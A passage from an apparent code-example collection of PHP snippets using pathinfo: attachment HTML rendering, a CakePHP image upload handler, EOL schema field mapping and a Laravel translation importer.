             return "<a href='" . $url . "' class='' target='_blank'><img src='" . URL("attachment/thumb/" . $attachment["attachmentId"]) . "' alt='" . $filename . "' title='" . $filename . "'></a>";
         }
     }
     // Embed video.
     if (in_array($extension, array("mp4", "mov", "mpg", "avi", "m4v")) and $expanded) {
         return "<video width='400' height='225' controls><source src='" . $url . "'></video>";
     }
     // Embed audio.
     if (in_array($extension, array("mp3", "mid", "wav")) and $expanded) {
         return "<audio controls><source src='" . $url . "'></video>";
     }
     $icons = array("pdf" => "file-text-alt", "doc" => "file-text-alt", "docx" => "file-text-alt", "zip" => "archive", "rar" => "archive", "gz" => "archive");
     $icon = isset($icons[$extension]) ? $icons[$extension] : "file";
     return "<a href='" . $url . "' class='attachment' target='_blank'><i class='icon-{$icon}'></i><span class='filename'>" . $displayFilename . "</span></a>";
 }
コード例 #28
0
 public function upload()
 {
     $album_id = $_POST['album_id'];
     # Resize attributes configured in bootstrap.php
     $resize_attrs = $this->Picture->getResizeToSize();
     if ($_FILES) {
         $file = $_FILES['file'];
         try {
             # Check if the file have any errors
             $this->Util->checkFileErrors($file);
             # Get file extention
             $ext = pathinfo($file['name'], PATHINFO_EXTENSION);
             # Validate if the file extention is allowed
             $this->Util->validateExtensions($ext);
             # Generate a random filename
             $filename = $this->Util->getToken();
             $full_name = $filename . "." . $ext;
             # Image Path
             $path = $this->Picture->generateFilePath($album_id, $full_name);
             $main_id = $this->Picture->uploadFile($path, $album_id, $file['name'], $file['tmp_name'], $resize_attrs['width'], $resize_attrs['height'], $resize_attrs['action'], true);
             # Create extra pictures from the original one
             $this->Picture->createExtraImages(Configure::read('GalleryOptions.Pictures.styles'), $file['name'], $file['tmp_name'], $album_id, $main_id, $filename);
         } catch (ForbiddenException $e) {
             $response = $e->getMessage();
             return new CakeResponse(array('status' => 401, 'body' => json_encode($response)));
         }
     }
     $this->render(false, false);
 }
コード例 #29
0
 private function process_fields($records, $class)
 {
     foreach ($records as $rec) {
         if ($class == "vernacular") {
             $c = new \eol_schema\VernacularName();
         } elseif ($class == "agent") {
             $c = new \eol_schema\Agent();
         } elseif ($class == "reference") {
             $c = new \eol_schema\Reference();
         }
         $keys = array_keys($rec);
         foreach ($keys as $key) {
             $temp = pathinfo($key);
             $field = $temp["basename"];
             // some fields have '#', e.g. "http://schemas.talis.com/2005/address/schema#localityName"
             $parts = explode("#", $field);
             if ($parts[0]) {
                 $field = $parts[0];
             }
             if (@$parts[1]) {
                 $field = $parts[1];
             }
             $c->{$field} = $rec[$key];
             if ($field == "taxonID") {
                 $c->{$field} = str_ireplace("urn:lsid:marinespecies.org:taxname:", "", $c->{$field});
             }
         }
         $this->archive_builder->write_object_to_file($c);
     }
 }
コード例 #30
-1
 public function importTranslations($replace = false)
 {
     $counter = 0;
     foreach ($this->files->directories($this->app->langPath()) as $langPath) {
         $locale = basename($langPath);
         foreach ($this->files->files($langPath) as $file) {
             $info = pathinfo($file);
             $group = $info['filename'];
             if (in_array($group, $this->config['exclude_groups'])) {
                 continue;
             }
             $translations = \Lang::getLoader()->load($locale, $group);
             if ($translations && is_array($translations)) {
                 foreach (array_dot($translations) as $key => $value) {
                     $value = (string) $value;
                     $translation = Translation::firstOrNew(array('locale' => $locale, 'group' => $group, 'key' => $key));
                     // Check if the database is different then the files
                     $newStatus = $translation->value === $value ? Translation::STATUS_SAVED : Translation::STATUS_CHANGED;
                     if ($newStatus !== (int) $translation->status) {
                         $translation->status = $newStatus;
                     }
                     // Only replace when empty, or explicitly told so
                     if ($replace || !$translation->value) {
                         $translation->value = $value;
                     }
                     $translation->save();
                     $counter++;
                 }
             }
         }
     }
     return $counter;
 }